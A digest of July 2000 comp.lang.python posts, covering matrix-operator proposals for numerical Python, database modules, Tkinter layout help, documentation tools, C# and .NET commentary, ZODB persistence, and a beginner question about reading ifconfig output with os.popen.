Subject: Operators for matrix: current choices (Was Matlab vs Python ...)
References: <Pine.LNX.4.10.10007180134360.9411-100000@rock.localdomain> <ZW4d5.3559$FA2.391374@nnrp3.clara.net> <slrn8n9s6i.so.hzhu@rock.localdomain> <m2u2dnkltz.fsf@spiff.home.com> <39751EFA.6293FDFE@prescod.net> <39756EEB.7CC8F262@fft.be>
Message-ID: <m2aefeky7d.fsf@spiff.home.com>

Gregory Lielens <gregory.lielens at fft.be> writes:

[SNIP]

> On the other hand, the JNumeric "symmetric" notation looks already
> better, even "sexy":
> (A)(B), yeah!
> 
> but I see 2 problems:
> 
> -the parentheses around A are important because they are a visual hint
> to indicate that this is not a function call,
> but a matrix multiply (or more generally, an inner product for Nd
> numeric arrays). But internally, (A)(B) is the same as A(B) (I think it
> is the case, please correct me if  I am wrong),

This is indeed the case.

> so we have to count on
> the good will of people to avoid the A(B) thing, and to avoid to write
> (f)(A) when f is a function. The last case is not likely, but if f is an
> array of functions, (f[i])(A) could happen (and have a totally different
> meaning if f is an array of Numeric arrays). This problem comes only
> from "look", but it is important imho, I really fear to see A(B)!

This (obviously) doesn't bother me as much as it bothers you. In part
because it's common to see indistinguishable notation for
multiplication and functions "on paper". Although I will admit that
A(B) is the the one permutation that rarely means multiplication. On
the other hand, you almost never see matrix multiplication represented
using the same symbol as scalar multiplication as is being proposed with *.

> -it gives one more operator only, the multiplication...This is the more
> important, I agree, especially if (A.inv)(B) can be evaluated at the
> same cost as Matlab's A\B, but it rules out the distinction one could
> want to make regarding other operations.

I'm not super enamored of these other operations. Plus I've been
around CLP for a long time, and its been my experience that the odds
of a big pile of new operators will make it into the core in less than
several years is very low. Therefore, I'm primarily thinking of what
can be done within the current syntax.


-tim



From plakal at nospam-cs.wisc.edu  Mon Jul 24 18:28:05 2000
From: plakal at nospam-cs.wisc.edu (plakal at nospam-cs.wisc.edu)
Date: 24 Jul 2000 22:28:05 GMT
Subject: Open letter to Guido van Rossum
References: <200007240401.AAA07578@mail3.mia.bellsouth.net>
Message-ID: <8liftl$nov@spool.cs.wisc.edu>

Dan Grassi <Dan at Grassi.org> wrote:
> First and foremost is database support as a part of the languare 
> _package_!  In particulay I need Oracle on ix86, a not uncommon database. 
>  But that is no trivial task.  Thus python fails because it can not be 
> used in a production environment that involves Oracle.

	I presume you've already seen the modules listed at:
		http://www.python.org/topics/database/modules.html

	Have you tried using the mxODBC module to connect to
	Oracle via ODBC? There's also a module specifically
	for Oracle: DCOracle. Disclaimer: I haven't used any
	of these myself.

	Manoj





From hzhu at localhost.localdomain  Sat Jul 22 14:48:54 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Sat, 22 Jul 2000 18:48:54 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <slrn8nhndr.qn.hzhu@rocket.knowledgetrack.com> <m2wvifm2bd.fsf@spiff.home.com> <Pine.LNX.4.10.10007221126350.20922-100000@us2.mayo.edu>
Message-ID: <slrn8njrbs.s4.hzhu@localhost.localdomain>

On Sat, 22 Jul 2000 11:30:53 -0500, Travis Oliphant <olipt at mayo.edu> wrote:
>
>We could use (!) for solve and (**) for power (actually I'm not as
>convinced that we NEED a solve.  But...) .  This might assuage some
>purists in python-dev. 

Definitely.

> I think it's useful to keep in mind tht we are
>not just attracting Matlab users, but IDL, PyWave, J, and other's as well.

While Matlab syntax (* for matrix and .* for element) has been mentioned
many times here, no one seems to have bothered to describe the others except
for IDL (?) that's # for matrix and * for element.  Not everyone have used
all the different languages or packages.  Brief summaries by their users
here would provide very helpful background information.

Huaiyu


From cg at schlund.de  Tue Jul 11 11:08:53 2000
From: cg at schlund.de (Carsten Gaebler)
Date: Tue, 11 Jul 2000 17:08:53 +0200
Subject: Sybase module crashes (segfault)
References: <396B2DEA.2FAEA72B@schlund.de>
Message-ID: <396B3885.F612FD76@schlund.de>

Solved: I forgot to create the "interfaces" file in the Sybase
directory. :-}
Now it works.

Carsten.


From roebling at ruf.uni-freiburg.de  Sat Jul 15 03:16:32 2000
From: roebling at ruf.uni-freiburg.de (Robert Roebling)
Date: Sat, 15 Jul 2000 09:16:32 +0200
Subject: wxDesigner: Commercial dialog editor for wxWindows and wxPython
Message-ID: <39700FD0.3C368827@ruf.uni-freiburg.de>

  Hello,

[I am using this list, since the python-announce list is no
 longer functional.]

I would like to announce wxDesigner 1.0, a commercial program
that can be used in connection with the free C++ GUI wxWindows
library and its populare Python bindings called wxPython.

wxDesigner is a dialog editor that allows its users to visually
create dialogs using a simple point and click interface. The
output produced by wxDesigner can be either of C++ code, Python
code or XML, making co-development with wxWindows and wxPython
much easier than before.

wxDesigner is available for Windows and Linux (Intel and PowerPC),
more information including pricing is available from:

  http://www.roebling.de

For more information about wxWindows and wxPython, have a look at:

  http://www.wxwindows.org
  http://www.wxpython.org

Regards,

    Robert Roebling <mailto:roebling at ruf.uni-freiburg.de>

<P><A HREF="http://www.roebling.de">wxDesigner 1.0</A> - 
   Commercial dialog editor for wxWindows and wxPython. (13-July-2000)




From peter at schneider-kamp.de  Wed Jul 19 19:55:32 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
Date: Wed, 19 Jul 2000 23:55:32 +0000
Subject: merge (Re: zip or marry etc)
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <3975E070.308511F4@roguewave.com> <3975FF92.1B031588@schneider-kamp.de> <3975EF36.1651C9CB@roguewave.com> <8l52re$tbe$1@nntp9.atl.mindspring.net>
Message-ID: <39763FF4.2CA5BF75@schneider-kamp.de>

Aahz Maruch wrote:
> 
> Precisely.  "Zip" has come to mean compression, and I think *that's* a

I hate to warm up the whole thread from python-dev, but I'll post
a quote from /F:

> is this the end of Python development?
> 
> just imagine what this crowd would have done if guido had asked
> you *before* he added things like:
> 
>     dir ("hey, dir should give you a list of filenames")
> 
>     cgi ("the computer graphics crowd won't like that")
> 
>     del ("removes files, right?")
> 
>     compile ("but people will think that it generates
>     machine code")
> 
>     global ("but it's not truly global. how about regional
>     or domestic?")
> 
>     hash ("that's a data type, right?") ("or perhaps something
>     from the The Amsterdam Aloha Seed Bank?")
> 
>     hex ("now wait.  it's not clear from the name if it con-
>     verts a hex string to an integer, or the other way around.
>     oh, it's the latter.  sorry, but that will confuse perl pro-
>     grammers")
> 
>     type ("is that some variation of print, or?")
> 
>     copy ("I'd say most people expect it to copy entire files")

Come on, other languages can live with zip(), too.

Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From nobody at nowhere.nohow  Sun Jul 30 22:08:14 2000
From: nobody at nowhere.nohow (Grant Edwards)
Date: Mon, 31 Jul 2000 02:08:14 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com> <slrn8o39hn.3ok.grey@teleute.rpglink.com> <iWhg5.2682$6E.684157@ptah.visi.com> <8lsca101hv4@news2.newsguy.com> <slrn8o4kkg.19t.ssthapa@ntcs-ip48.uchicago.edu> <QPLg5.2816$6E.738549@ptah.visi.com> <slrn8o75j2.fjt.grey@teleute.rpglink.com> <PCYg5.2852$6E.754275@ptah.visi.com> <slrn8o9k4e.i9b.grey@teleute.rpglink.com>
Message-ID: <slrn8o9nse.a10.nobody@isis.visi.com>

In article <slrn8o9k4e.i9b.grey at teleute.rpglink.com>, Steve Lamb wrote:
>On Sun, 30 Jul 2000 16:22:07 GMT, Grant Edwards <nobody at nowhere.nohow> wrote:

>>But in many, many programs (at least in the embedded and process control
>>areas where I do most of my work) program objects _do_ correspond to real
>>world objects.
>
>    Granted, and in those cases it is appropriate to remember the limitations
>of the physical world.  However in programming languages, peach.debone is
>valid, as is waffle-iron.dial.  :)

Only if "debone" is a valid operation for the object "peach" and if dial is
a valid operation for the object "waffle-iron".  You can't state a-priori
that this is the case.

In real-life only certain operations are valid for a particular object.  The
same is true in Python. I'm suggesting that this makes Python an easy
language for a new programmer to learn.

>>I don't understand the analogy.  Pens are not responsible for
>>parsing English sentances and proofreading them.  They're
>>responsible for leaving a visible trail when they're dragged
>>across a paper surface.
>
>    Exactly.  

Huh?

-- 
Grant Edwards                   grante             Yow!  NOW, I'm supposed
                                  at               to SCRAMBLE two, and HOLD
                               visi.com            th' MAYO!!


From ge at nowhere.none  Mon Jul 17 16:53:46 2000
From: ge at nowhere.none (Grant Edwards)
Date: Mon, 17 Jul 2000 20:53:46 GMT
Subject: newbie unimpressed...
References: <8kvp81$9q1$1@nnrp1.deja.com> <8kvqqb$8e5$1@nntp9.atl.mindspring.net>
Message-ID: <unKc5.1423$6E.266474@ptah.visi.com>

In article <8kvqqb$8e5$1 at nntp9.atl.mindspring.net>, Aahz Maruch wrote:

>In article <8kvp81$9q1$1 at nnrp1.deja.com>,  <sharkey3 at my-deja.com> wrote:
>>
>>(I'm using python 1.5.1 on Redhat 5.2)
>
>I strongly recommend upgrading to Python 1.5.2.  The documentation is
>much better, for starters.

FWIW, RH 5.2 is getting a bit old also.  I couldn't recommand
6.[01], but 6.2 seems to be decent.

-- 
Grant Edwards                   grante             Yow!  I'm wearing PAMPERS!!
                                  at               
                               visi.com            


From gmcm at hypernet.com.bbs  Mon Jul 17 19:20:03 2000
From: gmcm at hypernet.com.bbs (gmcm at hypernet.com.bbs)
Date: 17 Jul 2000 23:20:03 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators f
Message-ID: <3bRSk3$hS9@openbazaar.net>

Kevin Jacobs wrote:

>Silly idea 1:
>
>  Until add-on Python grammar modules are available, what about a
>  PyAlgebra evaluator module.  For a precedent, see regular expressions.
>   The difference is that linear-algebra syntax can be made too
>  Python-like for some tastes.
>
>  e.g.:
>
>  import PyAlgebra
>
>  PyAlgebra.run(r'A = (A .* B)\C')
>  e = PyAlgebra(r"D = A'*B")
>  e.run() # or e()

I proposed something very similar to Huaiyu the other day:

  PyAlgebra.evaluate(r'(A .* B)\C', A=A, B=B, C=C)

I know Thomas Wouters did, too. I haven't seen a post reflecting these
suggestions.

In fact, looking at this thread in one of those tree-view newsreaders, it
becomes obvious that branches die when a proposal is made, but arguments
are met with vehement counter arguments. Which leads me to believe that:

>Silly idea 3:
>
>  Lets continue arguing until everyone, both pro and con, gets
>  irritated,
>starts calling each other Nazis and gives up.

...has already won.

- Gordon


From btang at pacific.jpl.nasa.gov  Tue Jul 25 17:35:15 2000
From: btang at pacific.jpl.nasa.gov (Benyang Tang)
Date: Tue, 25 Jul 2000 14:35:15 -0700
Subject: python
Message-ID: <397E0813.640A3D21@pacific.jpl.nasa.gov>

1.
Learning Python (Help for Programmers)
                by Mark Lutz, et al

I learned python from this book. But it is can be hard for the very beginner. It is a good book though.

2.
The Quick Python Book
                by Daryl D. Harms, Kenneth McDonald
I don't have this book, but I read it in bookstore. I think it is better the Lutz's book for beginners.


The python distribution also includes a good tutorial. You can learn the very basic from there.

-- 
<> Benyang Tang                                   office: 818/354-0327 <> 
<> 300-323, JPL                                      fax: 818/393-6720 <> 
<> 4800 Oak Grove Drive               mail: btang at pacific.jpl.nasa.gov <> 
<> Pasadena, CA 91109, USA                                             <>


From m.faassen at vet.uu.nl  Thu Jul 27 09:01:54 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 27 Jul 2000 13:01:54 GMT
Subject: The State of Python
References: <200007270038.TAA03951@cj20424-a.reston1.va.home.com>
Message-ID: <8lpbs3$oac$2@newshost.accu.uu.nl>

Guido van Rossum <guido at beopen.com> wrote:
> A preview of what we will announce:
[snip]

Ah, good, I was hoping for some clarification. I couldn't keep track of
the soap very well; who had died, who had returned with memory loss,
who's a good guy, who's a bad guy, if the blind guy will be 
miraculously healed, will the marriage succeed, and what version numbers
they all have. And why.

Some hinting as to the 'why' of this confusion in your future announcement
would be useful too.

Regards,

Martijn



From aahz at netcom.com  Thu Jul 27 10:36:09 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 27 Jul 2000 14:36:09 GMT
Subject: Python questions from C/Perl/Java programmer
References: <397C6F49.7BEBB207@alabanza.net> <slrn8np8pr.tc.scarblac-spamtrap@flits104-37.flits.rug.nl> <397CC80C.43F5D8@alabanza.net> <397F382E.196DE01@sage.att.com>
Message-ID: <8lphcp$jdv$1@slb6.atl.mindspring.net>

In article <397F382E.196DE01 at sage.att.com>,
Garry Hodgson  <garry at sage.att.com> wrote:
>
>either of these is poor code.  how about having the names reflect usage,
>which is arguably more relevant than type?
>
>	def ComputeSalary( employeeID, salary, employee )
>
>(my salary is very complex :-)

Hey!  I don't see any complex() declarations!
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Zie is so far from a clue that it would take a sub-light vessel several
years to reach one.  --Aahz


From walter111 at structurex.net.bbs  Fri Jul 14 23:40:02 2000
From: walter111 at structurex.net.bbs (walter111 at structurex.net.bbs)
Date: 15 Jul 2000 03:40:02 GMT
Subject: help with tkinter coding
Message-ID: <3bPJB2$mTd@openbazaar.net>

i got this file from a person on the list not too long ago, thanks for
this, it is better then what i was thinking of before
just 2 questions:
  first, how can i make the frame that is to the right of the first one
appear on the bottom of it instead
  second, how do i write more then just a label into the second frame,
in the second frame is going to be a new set of options depending on
which option was picked in the first frame, so how do i do that?
this code works as a standalone

-- File test.py
#!/usr/bin/python
from Tkinter import *

class Main:
    def __init__(self, root):
        # The top label.
        text = 'this program figures the area, perimeter, and power of
n'
        text = text + '\n' + '_'*len(text)
        Label(root, text=text).pack(side=TOP, fill=X)

        # The 'main' panel  to command the option frame to show.
        self.var = StringVar()
        self.var.set('power')
        main = Frame(root, bd=2, relief=SUNKEN)
        Radiobutton(main, text="1 = Find the power of a number",
value='power',
                    command=self.update_frame,
variable=self.var).pack(anchor=W)
        Radiobutton(main, text="2 = Find the area of a shape",
value='area',
                    command=self.update_frame,
variable=self.var).pack(anchor=W)
        Radiobutton(main, text="3 = Find the perimeter of a shape",
value='perim',
                    command=self.update_frame,
variable=self.var).pack(anchor=W)
        Button(main, text="Close", command=root.destroy).pack(padx=10,
pady=10)
        main.pack(side=LEFT, padx=5, pady=5)

        # Create 3 frames, one for each option.
        self.frames = { 'power': Frame(root),
                        'area':  Frame(root),
                        'perim': Frame(root) }

        # Populate the option frames at your convenience.
        prefix = 'this frame is where you put information to get '
        list = (('power', 'power of n'),
                ('area',  'the area of a shape'),
                ('perim', 'the perimeter of a shape'))
        for (frame_name, text) in list:
            frame = self.frames[frame_name]
            text = prefix + text
            text = text + '\n' + '_'*len(text)
            Label(frame, text=text).pack(expand=YES, fill=BOTH)

        # We start with one frame.
        self.update_frame()

    def update_frame(self):
        # Unpack every option frame.
        for n in self.frames.keys(): self.frames[n].pack_forget()
        # Pack the current option frame.
        self.frames[self.var.get()].pack(side=RIGHT)

if __name__== '__main__':
    root = Tk()
    root.title('test')
    start = Main(root)
    root.mainloop()
-- End of file

I throw up your class Func and swept a little your code. Hope this helps
?

Regards,
Jerome


From shindich at my-deja.com  Fri Jul 14 03:27:20 2000
From: shindich at my-deja.com (shindich at my-deja.com)
Date: Fri, 14 Jul 2000 07:27:20 GMT
Subject: Apache Log Parser in written Python
Message-ID: <8kmfcf$siv$1@nnrp1.deja.com>

There are numerous free Apache Log Parsers floating around. Most of them
were written in Perl. I recently installed an Apache server and I needed
a utility to parse the access log and produce some simple reports.
Naturally I wrote t in Python. While this utility is probably going to
be too slow if you have huge log files, for most of you folks who have
no more then 100 hits a day this utility could be useful.

If anyone is interested you can get it at
http://www.shindich.com/sources/. Click on Apache Log Parser link on
this page.

Enjoy!

Alex Shindich
http://www.shindich.com/


Sent via Deja.com http://www.deja.com/
Before you buy.


From richard_chamberlain at ntlworld.com  Fri Jul 28 01:39:31 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Fri, 28 Jul 2000 06:39:31 +0100
Subject: javadoc equivalent for python?
References: <3980AA2F.4E4E6E1F@seas.upenn.edu>
Message-ID: <PY8g5.1370$NJ4.27922@news6-win.server.ntlworld.com>

David,

A couple of things spring to mind:



There is PythonDoc - which I've not used but you can get it at:

http://starship.python.net/crew/danilo/pythondoc/

Also Ka-Ping Yee's inspect.py and htmldoc are very good:

http://www.lfw.org/python/

These produce documentation based on docstrings and comments (#).

Paul Prescod recently asked me to write a raw text ouput using inspect.py
which you can have if you let me know.

Richard

David White <dwhite2 at seas.upenn.edu> wrote in message
news:3980AA2F.4E4E6E1F at seas.upenn.edu...
> Hi all,
>
> Is there an equivalent python application to javadoc?
>
> thanks,
> david




From boncelet at eecis.udel.edu  Mon Jul 17 15:44:19 2000
From: boncelet at eecis.udel.edu (Charles Boncelet)
Date: Mon, 17 Jul 2000 15:44:19 -0400
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for 
 matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com>
Message-ID: <39736213.15848862@eecis.udel.edu>

Bjorn Pettersen wrote:

>
> Perl, C++, Visual Basic, Java, and probably also Tcl are all more
> popular than Python. Are you suggesting we should add their special
> syntaxes/quirks just because a lot of people know them?

Not at all.  Python has a clean, simple syntax and I don't want to
clutter
it the way Perl, for one, has.  However, the Python community should
look at these other languages/domains and be willing to adopt the things

they have done right!

(The primary problem, as Huayiu keeps pointing out, is that linear
algebra
has two sets of operaters: those that work on elements and those that
work on whole matrices/vectors.  The main need is to distinguish these
two for multiplication.  If simple syntax for division--inversion--could

be defined, all the better.)

Why is it ordained that objects should have only two operations, "*" and
"+",
defined with simple operators?   "+" on strings means something entirely

different than "+" on numbers.  Why not add an "@" operator?  With some
thought, I'd wager that we could define useful meanings for []@[],
{}@{},
etc. And if not and the only problem domain that needs/wants a "@"
operator
is linear algebra, then just how much clutter are we talking about? Then
make
it available only when "import Numeric" is done.

My argument is that linear algebra is a *big* problem domain.  It should

not be dismissed as "just another problem."

Python could become the primary open source alternative to Matlab in
time
if a few changes were made: Incorporate numpy into the core distribution
(or
release a  distribution with it already embedded), simplify the syntax
for
matrix operations, and improve the help facility at the interpreter.

Matlab, of course, comes with numerous toolboxes that are unavailable in

numpy.  Early adoptors will have to write them--just as they do for
Matlab!
If you build it, they will come...

Python, because of its clean syntax, numpy, and existing
scientific/graphical tools
is better positioned than Perl, TCL, etc, to grab the linear algebra
users.

--
Charles Boncelet                              302-831-8008
Dept of Electrical and Computer Engineering   302-831-4316 (fax)
University of Delaware                        boncelet at eecis.udel.edu
http://www.eecis.udel.edu/~boncelet/





From europax at home.com  Mon Jul 10 22:07:36 2000
From: europax at home.com (europax at home.com)
Date: Tue, 11 Jul 2000 02:07:36 GMT
Subject: Anyone used Python for GPIB instrument control?
References: <39668E65.356337BF@home.com> <3967E902.AE41CF0D@attglobal.net>
Message-ID: <396A806F.C8695B84@home.com>

I didn't think that a wrapper designed for a Linux kernel module would
also work for wrapping a Windows Dll.  I'll have to take a look at it. 
Thanks,  Rob.

Jon McLin wrote:
> 
> The Linux Lab project has a gpib driver, and Python wrappers are included.  I
> believe the drivers emulate the NI drivers, so this wrapper should work for you.
> 
> ftp://ftp.llp.fu-berlin.de/pub/linux/LINUX-LAB/IEEE488/


From alex at magenta.com  Sun Jul 30 05:41:15 2000
From: alex at magenta.com (Alex Martelli)
Date: Sun, 30 Jul 2000 11:41:15 +0200
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <3981D737.CBA366F@alcyone.com> <slrn8o40ni.49c.grey@teleute.rpglink.com> <ogk4oso77hu55jepdvssdj7od4s1j481rh@4ax.com> <slrn8o6o57.f91.grey@teleute.rpglink.com> <8lvovs1dj1@news2.newsguy.com> <slrn8o75fq.fjt.grey@teleute.rpglink.com>
Message-ID: <8m1evi12n4o@news2.newsguy.com>

"Steve Lamb" <grey at despair.rpglink.com> wrote in message
news:slrn8o75fq.fjt.grey at teleute.rpglink.com...
> On Sun, 30 Jul 2000 01:21:09 +0200, Alex Martelli <alex at magenta.com>
wrote:
> >>     How many would say that abc is a sequence.  ;P
>
> >Most would, of course -- just ask what comes next, and anybody
> >with positive IQ will guess 'd'.
>
> 1
>
> What comes next?

Now THAT is a poser.  In Europe at least, for example, if you're looking
for a house you know that what's likely to come next is 3, then 5, etc;
odd-numbered addresses are on one side of the road, even-numbered ones
on the other (two separate sequences).  If you're taking a bus at the
stop I often use, what's likely to come next is 27 -- it most often
comes by a minute or two after 1 has come and gone.  If you're scanning
an alphabetized list, such as a typical book's index, what's likely to
come next is 10.  Etc, etc.

In other words, a single item by itself just does not give enough
context to make anything but a wild-assed guess.  There is no sequence
yet, so you must pick, more or less at random, one of the several
typical sequences that start with that single item.  Giving two
items is already much better, and three, very often, give enough
indications -- not to determine _univocally_ the rest of the
sequence, of course, but still very often to indicate what is MOST
LIKELY to come next (a typical question in IQ tests).

Be particularly careful with *numbers* -- confusing them with
strings is a very high risk here.  Given, for example, 123, it's
anybody's guess whether this is a number (one more than 122, one
less than 124) or a string, i.e. a sequence of three characters,
in which case 4 is reasonably likely to be the next one.  Isn't
it fortunate that good programming languages don't let you suffer
from that pernicious ambiguity, by distinguishing 123, the number,
from '123', the sequence-of-characters (string)?-)


Alex





From sglanger at u.washington.edu.bbs  Sun Jul 16 17:10:13 2000
From: sglanger at u.washington.edu.bbs (sglanger at u.washington.edu.bbs)
Date: 16 Jul 2000 21:10:13 GMT
Subject: Internet Programming in Python
Message-ID: <3bQa3a$j1_@openbazaar.net>

Does anyone know a used book store that would carry this out of print
book?

Email great.

thanks,
SL    sglanger at oakland.edu


From alex at magenta.com  Mon Jul  3 11:31:43 2000
From: alex at magenta.com (Alex Martelli)
Date: Mon, 3 Jul 2000 17:31:43 +0200
Subject: Microsoft's  C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <8jabvo014tv@news2.newsguy.com> <uhfa7qn9c.fsf@cs.uu.nl>
Message-ID: <8jqbru017gf@news2.newsguy.com>

<piet at cs.uu.nl> wrote in message news:uhfa7qn9c.fsf at cs.uu.nl...
> >>>>> "Alex Martelli" <alex at magenta.com> (AM) writes:
>
> AM> Don Tuttle <tuttledon at hotmail.com> wrote in message
> AM> news:qJ165.8938$nZ5.153196 at typhoon.southeast.rr.com...
> >> Consider this a heads up NOT a promotion!!
>
> AM> Why would the Python community care about a Microsoft-proprietary
> AM> quasi-Java-clone...?
>
> It is not proprietary. They will put the language definition in the public
> domain. Maybe not the implementation.

OK, let's assume they do.  And so...?  It's a Java dialect
in anything but name, and not a very interesting one either
("Pizza" added much more significant enhancements a LONG
time ago, for example).

I believe the only relevant issue for the Python community
is: C#, like every other Microsoft offering in recent times,
will be *STRONGLY* oriented to COM.  Every C# object will be
a COM object (just like every Java object was one when run
under Microsoft's Java VM), etc, etc.

So, C#'s possible (unlikely...) emergence as a major language
is just the N-plus-1-th motivation for Windows versions of
Python to support COM *very, VERY* well.  There are many
other reasons which apply *right now*, of course.  Python's
COM support is good, but I think it could be better.  Type
libraries are no doubt (at some point in the future) going
to be obsoleted in favour of other, fuller meta-information,
but until that happens I think any enhancement in support
for them is going to be a very significant plus for Python,
for example.  Custom (non-dual) interfaces may be in decline,
but, again, there is very substantial need for support for
them *today* -- Python supports a lot of them, but, again,
I'd like to see more -- more ease in interfacing a given set
of interfaces to Python (maybe by autobuilding a .PYD for
them?), more ease in generating 'stub' implementations for
them to which Python substance can be added, ...

Yeah, I know, I should put my coding efforts where my mouth
is -- and, having expended substantial efforts doing just
this sort of thing for a proprietary scripting language
(which I'm pushing _hard_ to be "stabilized" in the future
in favour of much better languages such as Python!), I do
have the skills and experience... on the COM side of things,
at least; haven't really looked at Python's internals yet,
and it's been so long since I last programmed in C (as
opposed to C++) that I wonder if I still can...:-).

But anyway, that's my personal take on the C# "impact"
(comparable to that of a goosedown pillow) on Python.

Re .NET -- I dunno, and I wish I did!  Any relevant URLs
will be GRATEFULLY received - I could post a dozen, but
I'll do y'all a favour and summarize them into basically
two stances:
    "It's Microsoft and thus evil, vapourware, immoral,
        and/or fattening"
    "It's Microsoft and thus good, splendid, progressive,
        and/or sexy"

Nothing REAL, TECHNICAL, DETAILED, nothing one could sink
one's teeth into, sigh.  Well, apart from XML, and SOAP
in particular, but those we already knew as today's silver
bullets (and, seriously, they do have real technical
substance, of course; the more Microsoft's architectures
get "open" by such means, the better -- but Python is
already moving fast towards excellent support of XML and
even SOAP, so there's no course-change in sight because
of those, is there?  Just, once again, extra motivation
to do what's already being done).

I do wonder what other items that have technical reality
are in .NET besides C#, XML, and SOAP.  If any, that is.


Alex





From m.faassen at vet.uu.nl  Fri Jul  7 11:30:06 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 7 Jul 2000 15:30:06 GMT
Subject: POOP / Python (Object Oriented Persistence) ?
References: <00c601bfe812$febfeef0$f0c809c0@lslp7o.lsl.co.uk>
Message-ID: <8k4t1u$7fk$1@newshost.accu.uu.nl>

"Tony J Ibbs (Tibs)" <tony at lsl.co.uk> wrote:
[snip]
> Being able to rely on objects still being around at the next invocation of a
> program without the programmer having to (seem to) take any special action
> can make certain types of application rather quicker to write ("certain
> types" including things like GIS, for instance).

[snip]
> If that's what's being talked about, it's a bit beyond just having *Pickle
> around (and if it's not what's being talked about, that's a pity), and I
> think Zope, etc., aren't quite talking about the same thing either.

In fact, I do think the Zope Object Database (ZODB) does this. The only
real thing you need to take care of is mutable attributes; you need
to treat those as immutables or explicitly call the transaction. Everything
else is transparent as long as you derive your object from Persistent.

> [One of the other exciting aspects of the Glasgow efforts is/was that they
> were also looking carefully at the problems of versioning

The ZODB has this; it could be improved but right you can change the ZODB from
one point of view, keeping it the same from others. It also has undo
facilities allowing you to undo transactions back in time.

> multi-user access,

The ZODB obviously can do this; multi-threaded access to the object database
exists.

> persistence over LARGE networks, etc.

What would this mean? Looks like ZODB can't do this; what is in the works
though is ZEO, which allows one to cluster object databases; there's still
a single object database but different servers may mirror it; any changes
to one will be paralleled by changes in others.

Another topic in Zope that I haven't looked a lot at is mountable databases,
allowing one to connect a number of ZODBs with different properties together.

> - all the real problems one would get if one actually *used* the stuff]

Right, and since us Zope folks are using the stuff, some of these problems
seem to be taken care of. Do you still think what the ZODB does is much
different from what you're describing?

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From gee308 at mediaone.net  Sat Jul 22 20:42:59 2000
From: gee308 at mediaone.net (Toy)
Date: Sun, 23 Jul 2000 00:42:59 GMT
Subject: newb Q
References: <3978FD9D.B08460CB@mediaone.net> <210720002132510070%matt@mondoinfo.com> <39794752.D54A50CD@mediaone.net> <220720001345342915%matt@mondoinfo.com>
Message-ID: <397A44A8.E3697BF1@mediaone.net>

Thanks for the tips.
I was trying to analyze your code.  Which line is the line that is 'print results
from ifconfig'?  How do I make is so I can say 'x = ifconfigresults'

Thanks


Matthew Dixon Cowles wrote:

> In article <39794752.D54A50CD at mediaone.net>, Toy <gee308 at mediaone.net>
> wrote:
>
> > Thanks for showing me how to do that.  I tried to edit something, but it
> > didn't work, I'll show you:
> >
> >
> > def getMyAddr():
> >   object = raw_input(Which device is connect to the internet(i.e. ppp0, eth0,
> > ne3: ")
> >   p=os.popen("/sbin/ifconfig",object)
> >
> > Is it possible to do that?
>
> It's possible to do something like that. The argument to os.popen (and
> to os.system) needs to be a character string. So you need to build up
> the string so that it looks just like what you'd type at the keyboard.
> The string concatenation operator is +, so you'd do something like:
>
> dev=raw_input("Device name? ")
> p=os.popen("/sbin/ifconfig "+dev)
>
> > Will it work with os.system?  What are the differences bewteen using
> > os.popen and os.system?
>
> os.system is similar to os.popen in that both execute a command of the
> sort that you'd ordinarily type at a shell prompt. They're different in
> that os.system just executes that command and if the command produces
> any output, it's printed in your shell window, while os.popen (if you
> accept its default) returns a file-like object that you can use to read
> the output that the command produces and use it in your program.
>
> > BTW, I only compared OpenBSD 2.7, Linux 2.2.15, and FreeBSD 4.0, but it seems
> > if you do the string search  on ifconfig with find text on 1 line beginning
> > with inet and ending with mask, It looks like you can get the IP from those 3
> > machines.(of coure I still can't write some code to actually do it).
>
> In situations like this, it's generally possible to find some mechanism
> that works almost all of the time. It's also almost always the case
> that eventually something that you were depending on will change and
> you'll have to fix your code.
>
> Regards,
> Matt



From asmith at valleyt.freeserve.co.uk  Sat Jul 29 05:52:34 2000
From: asmith at valleyt.freeserve.co.uk (asmith)
Date: Sat, 29 Jul 2000 10:52:34 +0100
Subject: (no subject)
Message-ID: <3982A962.226AC51E@14inverleith.freeserve.co.uk>


--
******************************************************************************
Andrew Smith BSc(Hons), MBA                                 Tel: 0131-551 2702
Valley Technology Research  Limited, Edinburgh. SCOTLAND    Fax: 0131-551 2702
******************************************************************************






From paul at prescod.net  Mon Jul 24 03:55:22 2000
From: paul at prescod.net (Paul Prescod)
